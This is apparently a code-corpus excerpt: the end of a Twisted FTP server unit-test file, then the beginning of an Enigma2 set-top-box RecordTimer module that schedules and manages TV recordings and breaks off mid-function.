self.assertFalse(ftp._isGlobbingExpression(['ignore', 'expr'])) self.assertFalse(ftp._isGlobbingExpression(['*.txt', 'expr'])) def test_isGlobbingExpressionGlob(self): """ _isGlobbingExpression will return True for segments which contains globbing characters in the last segment part (filename). """ self.assertTrue(ftp._isGlobbingExpression(['ignore', '*.txt'])) self.assertTrue(ftp._isGlobbingExpression(['ignore', '[a-b].txt'])) self.assertTrue(ftp._isGlobbingExpression(['ignore', 'fil?.txt'])) class BaseFTPRealmTests(unittest.TestCase): """ Tests for L{ftp.BaseFTPRealm}, a base class to help define L{IFTPShell} realms with different user home directory policies. """ def test_interface(self): """ L{ftp.BaseFTPRealm} implements L{IRealm}. """ self.assertTrue(verifyClass(IRealm, ftp.BaseFTPRealm)) def test_getHomeDirectory(self): """ L{ftp.BaseFTPRealm} calls its C{getHomeDirectory} method with the avatarId being requested to determine the home directory for that avatar. """ result = filepath.FilePath(self.mktemp()) avatars = [] class TestRealm(ftp.BaseFTPRealm): def getHomeDirectory(self, avatarId): avatars.append(avatarId) return result realm = TestRealm(self.mktemp()) iface, avatar, logout = realm.requestAvatar( "alice@example.com", None, ftp.IFTPShell) self.assertIsInstance(avatar, ftp.FTPShell) self.assertEqual(avatar.filesystemRoot, result) def test_anonymous(self): """ L{ftp.BaseFTPRealm} returns an L{ftp.FTPAnonymousShell} instance for anonymous avatar requests. """ anonymous = self.mktemp() realm = ftp.BaseFTPRealm(anonymous) iface, avatar, logout = realm.requestAvatar( checkers.ANONYMOUS, None, ftp.IFTPShell) self.assertIsInstance(avatar, ftp.FTPAnonymousShell) self.assertEqual(avatar.filesystemRoot, filepath.FilePath(anonymous)) def test_notImplemented(self): """ L{ftp.BaseFTPRealm.getHomeDirectory} should be overridden by a subclass and raises L{NotImplementedError} if it is not. """ realm = ftp.BaseFTPRealm(self.mktemp()) self.assertRaises(NotImplementedError, realm.getHomeDirectory, object()) class FTPRealmTestCase(unittest.TestCase): """ Tests for L{ftp.FTPRealm}. """ def test_getHomeDirectory(self): """ L{ftp.FTPRealm} accepts an extra directory to its initializer and treats the avatarId passed to L{ftp.FTPRealm.getHomeDirectory} as a single path segment to construct a child of that directory. """ base = '/path/to/home' realm = ftp.FTPRealm(self.mktemp(), base) home = realm.getHomeDirectory('alice@example.com') self.assertEqual( filepath.FilePath(base).child('alice@example.com'), home) def test_defaultHomeDirectory(self): """ If no extra directory is passed to L{ftp.FTPRealm}, it uses C{"/home"} as the base directory containing all user home directories. """ realm = ftp.FTPRealm(self.mktemp()) home = realm.getHomeDirectory('alice@example.com') self.assertEqual(filepath.FilePath('/home/alice@example.com'), home) class SystemFTPRealmTests(unittest.TestCase): """ Tests for L{ftp.SystemFTPRealm}. """ skip = nonPOSIXSkip def test_getHomeDirectory(self): """ L{ftp.SystemFTPRealm.getHomeDirectory} treats the avatarId passed to it as a username in the underlying platform and returns that account's home directory. """ # Try to pick a username that will have a home directory. user = getpass.getuser() # Try to find their home directory in a different way than used by the # implementation. Maybe this is silly and can only introduce spurious # failures due to system-specific configurations. import pwd expected = pwd.getpwnam(user).pw_dir realm = ftp.SystemFTPRealm(self.mktemp()) home = realm.getHomeDirectory(user) self.assertEqual(home, filepath.FilePath(expected)) def test_noSuchUser(self): """ L{ftp.SystemFTPRealm.getHomeDirectory} raises L{UnauthorizedLogin} when passed a username which has no corresponding home directory in the system's accounts database. """ user = insecureRandom(4).encode('hex') realm = ftp.SystemFTPRealm(self.mktemp()) self.assertRaises(UnauthorizedLogin, realm.getHomeDirectory, user) class ErrnoToFailureTestCase(unittest.TestCase): """ Tests for L{ftp.errnoToFailure} errno checking. """ def test_notFound(self): """ C{errno.ENOENT} should be translated to L{ftp.FileNotFoundError}. """ d = ftp.errnoToFailure(errno.ENOENT, "foo") return self.assertFailure(d, ftp.FileNotFoundError) def test_permissionDenied(self): """ C{errno.EPERM} should be translated to L{ftp.PermissionDeniedError}. """ d = ftp.errnoToFailure(errno.EPERM, "foo") return self.assertFailure(d, ftp.PermissionDeniedError) def test_accessDenied(self): """ C{errno.EACCES} should be translated to L{ftp.PermissionDeniedError}. """ d = ftp.errnoToFailure(errno.EACCES, "foo") return self.assertFailure(d, ftp.PermissionDeniedError) def test_notDirectory(self): """ C{errno.ENOTDIR} should be translated to L{ftp.IsNotADirectoryError}. """ d = ftp.errnoToFailure(errno.ENOTDIR, "foo") return self.assertFailure(d, ftp.IsNotADirectoryError) def test_fileExists(self): """ C{errno.EEXIST} should be translated to L{ftp.FileExistsError}. """ d = ftp.errnoToFailure(errno.EEXIST, "foo") return self.assertFailure(d, ftp.FileExistsError) def test_isDirectory(self): """ C{errno.EISDIR} should be translated to L{ftp.IsADirectoryError}. """ d = ftp.errnoToFailure(errno.EISDIR, "foo") return self.assertFailure(d, ftp.IsADirectoryError) def test_passThrough(self): """ If an unknown errno is passed to L{ftp.errnoToFailure}, it should let the originating exception pass through. """ try: raise RuntimeError("bar") except: d = ftp.errnoToFailure(-1, "foo") return self.assertFailure(d, RuntimeError) class AnonymousFTPShellTestCase(unittest.TestCase): """ Test anynomous shell properties. """ def test_anonymousWrite(self): """ Check that L{ftp.FTPAnonymousShell} returns an error when trying to open it in write mode. """ shell = ftp.FTPAnonymousShell('') d = shell.openForWriting(('foo',)) self.assertFailure(d, ftp.PermissionDeniedError) return d class IFTPShellTestsMixin: """ Generic tests for the C{IFTPShell} interface. """ def directoryExists(self, path): """ Test if the directory exists at C{path}. @param path: the relative path to check. @type path: C{str}. @return: C{True} if C{path} exists and is a directory, C{False} if it's not the case @rtype: C{bool} """ raise NotImplementedError() def createDirectory(self, path): """ Create a directory in C{path}. @param path: the relative path of the directory to create, with one segment. @type path: C{str} """ raise NotImplementedError() def fileExists(self, path): """ Test if the file exists at C{path}. @param path: the relative path to check. @type path: C{str}. @return: C{True} if C{path} exists and is a file, C{False} if it's not the case. @rtype: C{bool} """ raise NotImplementedError() def createFile(self, path, fileContent=''): """ Create a file named C{path} with some content. @param path: the relative path of the file to create, without directory. @type path: C{str} @param fileContent: the content of the file. @type fileContent: C{str} """ raise NotImplementedError() def test_createDirectory(self): """ C{directoryExists} should report correctly about directory existence, and C{createDirectory} should create a directory detectable by C{directoryExists}. """ self.assertFalse(self.directoryExists('bar')) self.createDirectory('bar') self.assertTrue(self.directoryExists('bar')) def test_createFile(self): """ C{fileExists} should report correctly about file existence, and C{createFile} should create a file detectable by C{fileExists}. """ self.assertFalse(self.fileExists('file.txt')) self.createFile('file.txt') self.assertTrue(self.fileExists('file.txt')) def test_makeDirectory(self): """ Create a directory and check it ends in the filesystem. """ d = self.shell.makeDirectory(('foo',)) def cb(result): self.assertTrue(self.directoryExists('foo')) return d.addCallback(cb) def test_makeDirectoryError(self): """ Creating a directory that already exists should fail with a C{ftp.FileExistsError}. """ self.createDirectory('foo') d = self.shell.makeDirectory(('foo',)) return self.assertFailure(d, ftp.FileExistsError) def test_removeDirectory(self): """ Try to remove a directory and check it's removed from the filesystem. """ self.createDirectory('bar') d = self.shell.removeDirectory(('bar',)) def cb(result): self.assertFalse(self.directoryExists('bar')) return d.addCallback(cb) def test_removeDirectoryOnFile(self): """ removeDirectory should not work in file and fail with a C{ftp.IsNotADirectoryError}. """ self.createFile('file.txt') d = self.shell.removeDirectory(('file.txt',)) return self.assertFailure(d, ftp.IsNotADirectoryError) def test_removeNotExistingDirectory(self): """ Removing directory that doesn't exist should fail with a C{ftp.FileNotFoundError}. """ d = self.shell.removeDirectory(('bar',)) return self.assertFailure(d, ftp.FileNotFoundError) def test_removeFile(self): """ Try to remove a file and check it's removed from the filesystem. """ self.createFile('file.txt') d = self.shell.removeFile(('file.txt',)) def cb(res): self.assertFalse(self.fileExists('file.txt')) d.addCallback(cb) return d def test_removeFileOnDirectory(self): """ removeFile should not work on directory. """ self.createDirectory('ned') d = self.shell.removeFile(('ned',)) return self.assertFailure(d, ftp.IsADirectoryError) def test_removeNotExistingFile(self): """ Try to remove a non existent file, and check it raises a L{ftp.FileNotFoundError}. """ d = self.shell.removeFile(('foo',)) return self.assertFailure(d, ftp.FileNotFoundError) def test_list(self): """ Check the output of the list method. """ self.createDirectory('ned') self.createFile('file.txt') d = self.shell.list(('.',)) def cb(l): l.sort() self.assertEqual(l, [('file.txt', []), ('ned', [])]) return d.addCallback(cb) def test_listWithStat(self): """ Check the output of list with asked stats. """ self.createDirectory('ned') self.createFile('file.txt') d = self.shell.list(('.',), ('size', 'permissions',)) def cb(l): l.sort() self.assertEqual(len(l), 2) self.assertEqual(l[0][0], 'file.txt') self.assertEqual(l[1][0], 'ned') # Size and permissions are reported differently between platforms # so just check they are present self.assertEqual(len(l[0][1]), 2) self.assertEqual(len(l[1][1]), 2) return d.addCallback(cb) def test_listWithInvalidStat(self): """ Querying an invalid stat should result to a C{AttributeError}. """ self.createDirectory('ned') d = self.shell.list(('.',), ('size', 'whateverstat',)) return self.assertFailure(d, AttributeError) def test_listFile(self): """ Check the output of the list method on a file. """ self.createFile('file.txt') d = self.shell.list(('file.txt',)) def cb(l): l.sort() self.assertEqual(l, [('file.txt', [])]) return d.addCallback(cb) def test_listNotExistingDirectory(self): """ list on a directory that doesn't exist should fail with a L{ftp.FileNotFoundError}. """ d = self.shell.list(('foo',)) return self.assertFailure(d, ftp.FileNotFoundError) def test_access(self): """ Try to access a resource. """ self.createDirectory('ned') d = self.shell.access(('ned',)) return d def test_accessNotFound(self): """ access should fail on a resource that doesn't exist. """ d = self.shell.access(('foo',)) return self.assertFailure(d, ftp.FileNotFoundError) def test_openForReading(self): """ Check that openForReading returns an object providing C{ftp.IReadFile}. """ self.createFile('file.txt') d = self.shell.openForReading(('file.txt',)) def cb(res): self.assertTrue(ftp.IReadFile.providedBy(res)) d.addCallback(cb) return d def test_openForReadingNotFound(self): """ openForReading should fail with a C{ftp.FileNotFoundError} on a file that doesn't exist. """ d = self.shell.openForReading(('ned',)) return self.assertFailure(d, ftp.FileNotFoundError) def test_openForReadingOnDirectory(self): """ openForReading should not work on directory. """ self.createDirectory('ned') d = self.shell.openForReading(('ned',)) return self.assertFailure(d, ftp.IsADirectoryError) def test_openForWriting(self): """ Check that openForWriting returns an object providing C{ftp.IWriteFile}. """ d = self.shell.openForWriting(('foo',)) def cb1(res): self.assertTrue(ftp.IWriteFile.providedBy(res)) return res.receive().addCallback(cb2) def cb2(res): self.assertTrue(IConsumer.providedBy(res)) d.addCallback(cb1) return d def test_openForWritingExistingDirectory(self): """ openForWriting should not be able to open a directory that already exists. """ self.createDirectory('ned') d = self.shell.openForWriting(('ned',)) return self.assertFailure(d, ftp.IsADirectoryError) def test_openForWritingInNotExistingDirectory(self): """ openForWring should fail with a L{ftp.FileNotFoundError} if you specify a file in a directory that doesn't exist. """ self.createDirectory('ned') d = self.shell.openForWriting(('ned', 'idonotexist', 'foo')) return self.assertFailure(d, ftp.FileNotFoundError) def test_statFile(self): """ Check the output of the stat method on a file. """ fileContent = 'wobble\n' self.createFile('file.txt', fileContent) d = self.shell.stat(('file.txt',), ('size', 'directory')) def cb(res): self.assertEqual(res[0], len(fileContent)) self.assertFalse(res[1]) d.addCallback(cb) return d def test_statDirectory(self): """ Check the output of the stat method on a directory. """ self.createDirectory('ned') d = self.shell.stat(('ned',), ('size', 'directory')) def cb(res): self.assertTrue(res[1]) d.addCallback(cb) return d def test_statOwnerGroup(self): """ Check the owner and groups stats. """ self.createDirectory('ned') d = self.shell.stat(('ned',), ('owner', 'group')) def cb(res): self.assertEqual(len(res), 2) d.addCallback(cb) return d def test_statNotExisting(self): """ stat should fail with L{ftp.FileNotFoundError} on a file that doesn't exist. """ d = self.shell.stat(('foo',), ('size', 'directory')) return self.assertFailure(d, ftp.FileNotFoundError) def test_invalidStat(self): """ Querying an invalid stat should result to a C{AttributeError}. """ self.createDirectory('ned') d = self.shell.stat(('ned',), ('size', 'whateverstat')) return self.assertFailure(d, AttributeError) def test_rename(self): """ Try to rename a directory. """ self.createDirectory('ned') d = self.shell.rename(('ned',), ('foo',)) def cb(res): self.assertTrue(self.directoryExists('foo')) self.assertFalse(self.directoryExists('ned')) return d.addCallback(cb) def test_renameNotExisting(self): """ Renaming a directory that doesn't exist should fail with L{ftp.FileNotFoundError}. """ d = self.shell.rename(('foo',), ('bar',)) return self.assertFailure(d, ftp.FileNotFoundError) class FTPShellTestCase(unittest.TestCase, IFTPShellTestsMixin): """ Tests for the C{ftp.FTPShell} object. """ def setUp(self): """ Create a root directory and instantiate a shell. """ self.root = filepath.FilePath(self.mktemp()) self.root.createDirectory() self.shell = ftp.FTPShell(self.root) def directoryExists(self, path): """ Test if the directory exists at C{path}. """ return self.root.child(path).isdir() def createDirectory(self, path): """ Create a directory in C{path}. """ return self.root.child(path).createDirectory() def fileExists(self, path): """ Test if the file exists at C{path}. """ return self.root.child(path).isfile() def createFile(self, path, fileContent=''): """ Create a file named C{path} with some content. """ return self.root.child(path).setContent(fileContent) class TestConsumer(object): """ A simple consumer for tests. It only works with non-streaming producers. @ivar producer: an object providing L{twisted.internet.interfaces.IPullProducer}. """ implements(IConsumer) producer = None def registerProducer(self, producer, streaming): """ Simple register of producer, checks that no register has happened before. """ assert self.producer is None self.buffer = [] self.producer = producer self.producer.resumeProducing() def unregisterProducer(self): """ Unregister the producer, it should be done after a register. """ assert self.producer is not None self.producer = None def write(self, data): """ Save the data received. """ self.buffer.append(data) self.producer.resumeProducing() class TestProducer(object): """ A dumb producer. """ def __init__(self, toProduce, consumer): """ @param toProduce: data to write @type toProduce: C{str} @param consumer: the consumer of data. @type consumer: C{IConsumer} """ self.toProduce = toProduce self.consumer = consumer def start(self): """ Send the data to consume. """ self.consumer.write(self.toProduce) class IReadWriteTestsMixin: """ Generic tests for the C{IReadFile} and C{IWriteFile} interfaces. """ def getFileReader(self, content): """ Return an object providing C{IReadFile}, ready to send data C{content}. """ raise NotImplementedError() def getFileWriter(self): """ Return an object providing C{IWriteFile}, ready to receive data. """ raise NotImplementedError() def getFileContent(self): """ Return the content of the file used. """ raise NotImplementedError() def test_read(self): """ Test L{ftp.IReadFile}: the implementation should have a send method returning a C{Deferred} which fires when all the data has been sent to the consumer, and the data should be correctly send to the consumer. """ content = 'wobble\n' consumer = TestConsumer() def cbGet(reader): return reader.send(consumer).addCallback(cbSend) def cbSend(res): self.assertEqual("".join(consumer.buffer), content) return self.getFileReader(content).addCallback(cbGet) def test_write(self): """ Test L{ftp.IWriteFile}: the implementation should have a receive method returning a C{Deferred} which fires with a consumer ready to receive data to be written. It should also have a close() method that returns a Deferred. """ content = 'elbbow\n' def cbGet(writer): return writer.receive().addCallback(cbReceive, writer) def cbReceive(consumer, writer): producer = TestProducer(content, consumer) consumer.registerProducer(None, True) producer.start() consumer.unregisterProducer() return writer.close().addCallback(cbClose) def cbClose(ignored): self.assertEqual(self.getFileContent(), content) return self.getFileWriter().addCallback(cbGet) class FTPReadWriteTestCase(unittest.TestCase, IReadWriteTestsMixin): """ Tests for C{ftp._FileReader} and C{ftp._FileWriter}, the objects returned by the shell in C{openForReading}/C{openForWriting}. """ def setUp(self): """ Create a temporary file used later. """ self.root = filepath.FilePath(self.mktemp()) self.root.createDirectory() self.shell = ftp.FTPShell(self.root) self.filename = "file.txt" def getFileReader(self, content): """ Return a C{ftp._FileReader} instance with a file opened for reading. """ self.root.child(self.filename).setContent(content) return self.shell.openForReading((self.filename,)) def getFileWriter(self): """ Return a C{ftp._FileWriter} instance with a file opened for writing. """ return self.shell.openForWriting((self.filename,)) def getFileContent(self): """ Return the content of the temporary file. """ return self.root.child(self.filename).getContent() class CloseTestWriter: implements(ftp.IWriteFile) closeStarted = False def receive(self): self.s = StringIO() fc = ftp.FileConsumer(self.s) return defer.succeed(fc) def close(self): self.closeStarted = True return self.d class CloseTestShell: def openForWriting(self, segs): return defer.succeed(self.writer) class FTPCloseTest(unittest.TestCase): """Tests that the server invokes IWriteFile.close""" def test_write(self): """Confirm that FTP uploads (i.e. ftp_STOR) correctly call and wait upon the IWriteFile object's close() method""" f = ftp.FTP() f.workingDirectory = ["root"] f.shell = CloseTestShell() f.shell.writer = CloseTestWriter() f.shell.writer.d = defer.Deferred() f.factory = ftp.FTPFactory() f.factory.timeOut = None f.makeConnection(StringIO()) di = ftp.DTP() di.factory = ftp.DTPFactory(f) f.dtpInstance = di di.makeConnection(None)# stor_done = [] d = f.ftp_STOR("path") d.addCallback(stor_done.append) # the writer is still receiving data self.assertFalse(f.shell.writer.closeStarted, "close() called early") di.dataReceived("some data here") self.assertFalse(f.shell.writer.closeStarted, "close() called early") di.connectionLost("reason is ignored") # now we should be waiting in close() self.assertTrue(f.shell.writer.closeStarted, "close() not called") self.assertFalse(stor_done) f.shell.writer.d.callback("allow close() to finish") self.assertTrue(stor_done) return d # just in case an errback occurred class FTPResponseCodeTests(unittest.TestCase): """ Tests relating directly to response codes. """ def test_unique(self): """ All of the response code globals (for example C{RESTART_MARKER_REPLY} or C{USR_NAME_OK_NEED_PASS}) have unique values and are present in the C{RESPONSE} dictionary. """ allValues = set(ftp.RESPONSE) seenValues = set() for key, value in vars(ftp).items(): if isinstance(value, str) and key.isupper(): self.assertIn( value, allValues, "Code %r with value %r missing from RESPONSE dict" % ( key, value)) self.assertNotIn( value, seenValues, "Duplicate code %r with value %r" % (key, value)) seenValues.add(value)
popazerty/e2-gui
refs/heads/master
RecordTimer.py
4
from boxbranding import getMachineBrand, getMachineName import xml.etree.cElementTree from time import localtime, strftime, ctime, time from bisect import insort from sys import maxint import os from enigma import eEPGCache, getBestPlayableServiceReference, eServiceReference, eServiceCenter, iRecordableService, quitMainloop, eActionMap, setPreferredTuner from Components.config import config from Components import Harddisk from Components.UsageConfig import defaultMoviePath from Components.TimerSanityCheck import TimerSanityCheck from Screens.MessageBox import MessageBox import Screens.Standby import Screens.InfoBar from Tools import Directories, Notifications, ASCIItranslit, Trashcan from Tools.XMLTools import stringToXML import timer import NavigationInstance from ServiceReference import ServiceReference # In descriptions etc. we have: # service reference (to get the service name) # name (title) # description (description) # event data (ONLY for time adjustments etc.) # Parses an event, and returns a (begin, end, name, duration, eit)-tuple. # begin and end will be adjusted by the margin before/after recording start/end def parseEvent(ev, description=True): if description: name = ev.getEventName() description = ev.getShortDescription() if description == "": description = ev.getExtendedDescription() else: name = "" description = "" begin = ev.getBeginTime() end = begin + ev.getDuration() eit = ev.getEventId() begin -= config.recording.margin_before.value * 60 end += config.recording.margin_after.value * 60 return begin, end, name, description, eit class AFTEREVENT: def __init__(self): pass NONE = 0 STANDBY = 1 DEEPSTANDBY = 2 AUTO = 3 def findSafeRecordPath(dirname): if not dirname: return None dirname = os.path.realpath(dirname) mountpoint = Harddisk.findMountPoint(dirname) if not os.path.ismount(mountpoint): print '[RecordTimer] media is not mounted:', dirname return None if not os.path.isdir(dirname): try: os.makedirs(dirname) except Exception, ex: print '[RecordTimer] Failed to create dir "%s":' % dirname, ex return None return dirname # type 1 = digital television service # type 4 = nvod reference service (NYI) # type 17 = MPEG-2 HD digital television service # type 22 = advanced codec SD digital television # type 24 = advanced codec SD NVOD reference service (NYI) # type 25 = advanced codec HD digital television # type 27 = advanced codec HD NVOD reference service (NYI) # type 2 = digital radio sound service # type 10 = advanced codec digital radio sound service service_types_tv = '1:7:1:0:0:0:0:0:0:0:(type == 1) || (type == 17) || (type == 22) || (type == 25) || (type == 134) || (type == 195)' wasRecTimerWakeup = False # Please do not translate log messages class RecordTimerEntry(timer.TimerEntry, object): def __init__(self, serviceref, begin, end, name, description, eit, disabled=False, justplay=False, afterEvent=AFTEREVENT.AUTO, checkOldTimers=False, dirname=None, tags=None, descramble='notset', record_ecm='notset', isAutoTimer=False, ice_timer_id=None, always_zap=False, rename_repeat=True): timer.TimerEntry.__init__(self, int(begin), int(end)) if checkOldTimers: if self.begin < time() - 1209600: # 2 weeks self.begin = int(time()) if self.end < self.begin: self.end = self.begin assert isinstance(serviceref, ServiceReference) if serviceref and serviceref.isRecordable(): self.service_ref = serviceref else: self.service_ref = ServiceReference(None) self.dontSave = False if not description or not name or not eit: evt = self.getEventFromEPG() if evt: if not description: description = evt.getShortDescription() if not description: description = evt.getExtendedDescription() if not name: name = evt.getEventName() if not eit: eit = evt.getEventId() self.eit = eit self.name = name self.description = description self.disabled = disabled self.timer = None self.__record_service = None self.start_prepare = 0 self.justplay = justplay self.always_zap = always_zap self.afterEvent = afterEvent self.dirname = dirname self.dirnameHadToFallback = False self.autoincrease = False self.autoincreasetime = 3600 * 24 # 1 day self.tags = tags or [] if descramble == 'notset' and record_ecm == 'notset': if config.recording.ecm_data.value == 'descrambled+ecm': self.descramble = True self.record_ecm = True elif config.recording.ecm_data.value == 'scrambled+ecm': self.descramble = False self.record_ecm = True elif config.recording.ecm_data.value == 'normal': self.descramble = True self.record_ecm = False else: self.descramble = descramble self.record_ecm = record_ecm self.rename_repeat = rename_repeat self.needChangePriorityFrontend = config.usage.recording_frontend_priority.value != "-2" and config.usage.recording_frontend_priority.value != config.usage.frontend_priority.value self.change_frontend = False self.isAutoTimer = isAutoTimer self.ice_timer_id = ice_timer_id self.wasInStandby = False self.log_entries = [] self.resetState() def __repr__(self): ice = "" if self.ice_timer_id: ice = ", ice_timer_id=%s" % self.ice_timer_id disabled = "" if self.disabled: disabled = ", Disabled" return "RecordTimerEntry(name=%s, begin=%s, end=%s, serviceref=%s, justplay=%s, isAutoTimer=%s%s%s)" % (self.name, ctime(self.begin), ctime(self.end), self.service_ref, self.justplay, self.isAutoTimer, ice, disabled) def log(self, code, msg): self.log_entries.append((int(time()), code, msg)) # print "[TIMER]", msg def freespace(self): self.MountPath = None if not self.dirname: dirname = findSafeRecordPath(defaultMoviePath()) else: dirname = findSafeRecordPath(self.dirname) if dirname is None: dirname = findSafeRecordPath(defaultMoviePath()) self.dirnameHadToFallback = True if not dirname: return False self.MountPath = dirname mountwriteable = os.access(dirname, os.W_OK) if not mountwriteable: self.log(0, ("Mount '%s' is not writeable." % dirname)) return False s = os.statvfs(dirname) if (s.f_bavail * s.f_bsize) / 1000000 < 1024: self.log(0, "Not enough free space to record") return False else: self.log(0, "Found enough free space to record") return True def calculateFilename(self, name=None): service_name = self.service_ref.getServiceName() begin_date = strftime("%Y%m%d %H%M", localtime(self.begin)) name = name or self.name filename = begin_date + " - " + service_name if name: if config.recording.filename_composition.value == "short": filename = strftime("%Y%m%d", localtime(self.begin)) + " - " + name elif config.recording.filename_composition.value == "long": filename += " - " + name + " - " + self.description else: filename += " - " + name # standard if config.recording.ascii_filenames.value: filename = ASCIItranslit.legacyEncode(filename) self.Filename = Directories.getRecordingFilename(filename, self.MountPath) self.log(0, "Filename calculated as: '%s'" % self.Filename) return self.Filename def getEventFromEPG(self): epgcache = eEPGCache.getInstance() queryTime = self.begin + (self.end - self.begin) / 2 ref = self.service_ref and self.service_ref.ref return epgcache.lookupEventTime(ref, queryTime) def tryPrepare(self): if self.justplay: return True else: if not self.calculateFilename(): self.do_backoff() self.start_prepare = time() + self.backoff return False rec_ref = self.service_ref and self.service_ref.ref if rec_ref and rec_ref.flags & eServiceReference.isGroup: rec_ref = getBestPlayableServiceReference(rec_ref, eServiceReference()) if not rec_ref: self.log(1, "'get best playable service for group... record' failed") return False self.setRecordingPreferredTuner() self.record_service = rec_ref and NavigationInstance.instance.recordService(rec_ref) if not self.record_service: self.log(1, "'record service' failed") self.setRecordingPreferredTuner(setdefault=True) return False name = self.name description = self.description if self.repeated: epgcache = eEPGCache.getInstance() queryTime = self.begin + (self.end - self.begin) / 2 evt = epgcache.lookupEventTime(rec_ref, queryTime) if evt: if self.rename_repeat: event_description = evt.getShortDescription() if not event_description: event_description = evt.getExtendedDescription() if event_description and event_description != description: description = event_description event_name = evt.getEventName() if event_name and event_name != name: name = event_name if not self.calculateFilename(event_name): self.do_backoff() self.start_prepare = time() + self.backoff return False event_id = evt.getEventId() else: event_id = -1 else: event_id = self.eit if event_id is None: event_id = -1 prep_res = self.record_service.prepare(self.Filename + ".ts", self.begin, self.end, event_id, self.name.replace("\n", ""), self.description.replace("\n", ""), ' '.join(self.tags), bool(self.descramble), bool(self.record_ecm)) if prep_res: if prep_res == -255: self.log(4, "failed to write meta information") else: self.log(2, "'prepare' failed: error %d" % prep_res) # We must calculate start time before stopRecordService call # because in Screens/Standby.py TryQuitMainloop tries to get # the next start time in evEnd event handler... self.do_backoff() self.start_prepare = time() + self.backoff NavigationInstance.instance.stopRecordService(self.record_service) self.record_service = None self.setRecordingPreferredTuner(setdefault=True) return False return True def do_backoff(self): if self.backoff == 0: self.backoff = 5 else: self.backoff *= 2 if self.backoff > 100: self.backoff = 100 self.log(10, "backoff: retry in %d seconds" % self.backoff) def activate(self): next_state = self.state + 1 self.log(5, "activating state %d" % next_state) if next_state == self.StatePrepared: if not self.justplay and not self.freespace(): Notifications.AddPopup( text=_("Write error while recording. Disk full?\n%s") % self.name, type=MessageBox.TYPE_ERROR, timeout=5, id="DiskFullMessage") self.failed = True self.next_activation = time() self.end = time() + 5 self.backoff = 0 return True if self.always_zap: if Screens.Standby.inStandby: self.wasInStandby = True eActionMap.getInstance().bindAction('', -maxint - 1, self.keypress) # Set service to zap after standby Screens.Standby.inStandby.prev_running_service = self.service_ref.ref Screens.Standby.inStandby.paused_service = None # Wakeup standby Screens.Standby.inStandby.Power() self.log(5, "wakeup and zap to recording service") else: cur_zap_ref = NavigationInstance.instance.getCurrentlyPlayingServiceReference() if cur_zap_ref and not cur_zap_ref.getPath(): # Do not zap away if it is not a live service Notifications.AddNotification(MessageBox, _("In order to record a timer, the TV was switched to the recording service!\n"), type=MessageBox.TYPE_INFO, timeout=20) self.setRecordingPreferredTuner() self.failureCB(True) self.log(5, "zap to recording service") if self.tryPrepare(): self.log(6, "prepare ok, waiting for begin") # Create file to "reserve" the filename # because another recording at the same time # on another service can try to record the same event # i.e. cable / sat.. then the second recording needs an own extension... # If we create the file # here then calculateFilename is kept happy if not self.justplay: open(self.Filename + ".ts", "w").close() # Give the Trashcan a chance to clean up try: Trashcan.instance.cleanIfIdle() except Exception, e: print "[TIMER] Failed to call Trashcan.instance.cleanIfIdle()" print "[TIMER] Error:", e # Fine. It worked, resources are allocated. self.next_activation = self.begin self.backoff = 0 return True self.log(7, "prepare failed") if self.first_try_prepare: self.first_try_prepare = False cur_ref = NavigationInstance.instance.getCurrentlyPlayingServiceReference() if cur_ref and not cur_ref.getPath(): if Screens.Standby.inStandby: self.setRecordingPreferredTuner() self.failureCB(True) elif not config.recording.asktozap.value: self.log(8, "asking user to zap away") Notifications.AddNotificationWithCallback(self.failureCB, MessageBox, _("A timer failed to record!\nDisable TV and try again?\n"), timeout=20) else: # Zap without asking self.log(9, "zap without asking") Notifications.AddNotification(MessageBox, _("In order to record a timer, the TV was switched to the recording service!\n"), type=MessageBox.TYPE_INFO, timeout=20) self.setRecordingPreferredTuner() self.failureCB(True) elif cur_ref: self.log(8, "currently running service is not a live service.. so stop it makes no sense") else: self.log(8, "currently no service running... so we dont need to stop it") return False elif next_state == self.StateRunning: global wasRecTimerWakeup if os.path.exists("/tmp/was_rectimer_wakeup") and not wasRecTimerWakeup: wasRecTimerWakeup = int(open("/tmp/was_rectimer_wakeup", "r").read()) and True or False os.remove("/tmp/was_rectimer_wakeup") # If this timer has been cancelled or has failed, # just go to "end" state. if self.cancelled: return True if self.failed: return True if self.justplay: if Screens.Standby.inStandby: self.wasInStandby = True eActionMap.getInstance().bindAction('', -maxint - 1, self.keypress) self.log(11, "wakeup and zap") # Set service to zap after standby Screens.Standby.inStandby.prev_running_service = self.service_ref.ref Screens.Standby.inStandby.paused_service = None # Wakeup standby Screens.Standby.inStandby.Power() else: self.log(11, "zapping") NavigationInstance.instance.isMovieplayerActive() from Screens.ChannelSelection import ChannelSelection ChannelSelectionInstance = ChannelSelection.instance self.service_types = service_types_tv if ChannelSelectionInstance: if config.usage.multibouquet.value: bqrootstr = '1:7:1:0:0:0:0:0:0:0:FROM BOUQUET "bouquets.tv" ORDER BY bouquet' else: bqrootstr = '%s FROM BOUQUET "userbouquet.favourites.tv" ORDER BY bouquet' % self.service_types rootstr = '' serviceHandler = eServiceCenter.getInstance() rootbouquet = eServiceReference(bqrootstr) bouquet = eServiceReference(bqrootstr) bouquetlist = serviceHandler.list(bouquet) if bouquetlist is not None: while True: bouquet = bouquetlist.getNext() if bouquet.flags & eServiceReference.isDirectory: ChannelSelectionInstance.clearPath() ChannelSelectionInstance.setRoot(bouquet) servicelist = serviceHandler.list(bouquet) if servicelist is not None: serviceIterator = servicelist.getNext() while serviceIterator.valid(): if self.service_ref.ref == serviceIterator: break serviceIterator = servicelist.getNext() if self.service_ref.ref == serviceIterator: break ChannelSelectionInstance.enterPath(rootbouquet) ChannelSelectionInstance.enterPath(bouquet) ChannelSelectionInstance.saveRoot() ChannelSelectionInstance.saveChannel(self.service_ref.ref) ChannelSelectionInstance.addToHistory(self.service_ref.ref) NavigationInstance.instance.playService(self.service_ref.ref) return True else: self.log(11, "start recording") record_res = self.record_service.start() self.setRecordingPreferredTuner(setdefault=True) if record_res: self.log(13, "start record returned %d" % record_res) self.do_backoff() # Retry self.begin = time() + self.backoff return False return True elif next_state == self.StateEnded or next_state == self.StateFailed: old_end = self.end if self.setAutoincreaseEnd(): self.log(12, "autoincrease recording %d minute(s)" % int((self.end - old_end) / 60)) self.state -= 1 return True self.log(12, "stop recording") if not self.justplay: if self.record_service: NavigationInstance.instance.stopRecordService(self.record_service) self.record_service = None NavigationInstance.instance.RecordTimer.saveTimer() if self.afterEvent == AFTEREVENT.STANDBY or (not wasRecTimerWakeup and Screens.Standby.inStandby and self.afterEvent == AFTEREVENT.AUTO) or self.wasInStandby: self.keypress() # This unbinds the keypress detection if not Screens.Standby.inStandby: # Not already in standby 